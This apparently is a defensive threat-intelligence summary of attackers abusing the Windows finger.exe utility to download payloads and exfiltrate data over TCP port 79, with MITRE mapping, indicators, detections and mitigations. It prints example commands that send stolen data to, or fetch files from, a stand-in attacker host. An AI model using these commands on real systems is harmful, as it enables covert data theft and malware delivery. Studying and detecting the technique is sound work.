Full Report
Threat actors frequently make use of native utilities during incidents. However, this blog post discusses a rarely-observed means of data exfiltration.
Analysis Summary
# Tool/Technique: Finger.exe (LOLBin Exfiltration)
## Overview
This technique involves the abuse of the legitimate Windows native utility `finger.exe` (a TCP/IP Finger protocol client). While originally designed to query information about users on a remote host, threat actors repurpose it as a Living off the Land Binary (LOLBin) to bypass security controls for both data ingress (downloading payloads) and data exfiltration (uploading sensitive information).
## Technical Details
- **Type:** Technique / LOLBin
- **Platform:** Windows (Native utility)
- **Capabilities:** Data exfiltration, payload delivery (ingress), situational awareness.
- **First Seen:** Conceptualized in security research circa September 2020; observed in active exploitation by Huntress analysts in late 2023.
## MITRE ATT&CK Mapping
- **TA0010 - Exfiltration**
- **T1041 - Exfiltration Over C2 Channel**
- **TA0011 - Command and Control**
- **T1105 - Ingress Tool Transfer**
- **TA0007 - Discovery**
- **T1082 - System Information Discovery**
- **T1057 - Process Discovery**
## Functionality
### Core Capabilities
- **Data Ingress:** By redirecting the output of a finger query to a file (e.g., `finger user@attacker_ip > file.exe`), attackers can download malicious payloads or DLLs.
- **Protocol Abuse:** Uses TCP Port 79, which is often overlooked by legacy firewall rules or internal monitoring compared to HTTP/S or FTP.
### Advanced Features
- **Stealthy Exfiltration:** Attackers use `for` loops to iterate through local data (like file names or process lists) and append that data to the finger query string (e.g., `finger sensitive_data@attacker_ip`). The "username" being queried is actually the stolen data being sent to the attacker's listener.
- **Bypassing Security Software:** Because `finger.exe` is a trusted Microsoft-signed binary, it may not trigger alerts in environments that only monitor for unauthorized third-party tools.
## Indicators of Compromise
- **File Names:** `finger.exe` (located in `C:\Windows\System32\`)
- **Network Indicators:**
- `185.56.83[.]82` (Observed C2 IP)
- Traffic over **TCP Port 79** to external or unauthorized internal IP addresses.
- **Behavioral Indicators:**
- `cmd.exe` or `powershell.exe` spawning `finger.exe`.
- Usage of `finger.exe` in conjunction with output redirection (`>>` or `>`).
- Command line patterns involving loops: `for /f ... do finger %i@<IP>`.
## Associated Threat Actors
- Specifically observed by Huntress following a **Microsoft Exchange** server compromise via webshell.
- Often utilized by actors targeting MSSQL and Exchange environments to "Live off the Land."
## Detection Methods
- **Behavioral Detection:** Monitor for `finger.exe` process creation where the command line contains an external IP address or redirection symbols.
- **Network Monitoring:** Alert on any outbound traffic originating from internal workstations or servers over port 79, as the Finger protocol is largely obsolete in modern enterprise environments.
- **Endpoint Analytics:** Flag instances of `finger.exe` being executed by non-interactive accounts (e.g., `SYSTEM`, `NETWORK SERVICE`, or web server service accounts).
## Mitigation Strategies
- **Prevention:** Block outbound TCP port 79 at the network perimeter (Firewall/NGFW).
- **Hardening:** Use AppLocker or Windows Defender Application Control (WDAC) to block the execution of `finger.exe` if there is no legitimate business use.
- **Attack Surface Reduction (ASR):** Implement rules to block process creations from originating from web servers or common LOLBins.
## Related Tools/Techniques
- **Certutil.exe:** Used for downloading files via encoded certificates.
- **Curl.exe:** Native Windows utility for data transfer.
- **Rundll32.exe:** Used for executing malicious code hidden in DLLs.